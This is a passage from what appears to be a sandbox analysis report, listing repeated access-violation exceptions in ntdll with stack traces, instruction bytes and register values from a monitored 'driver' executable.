00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
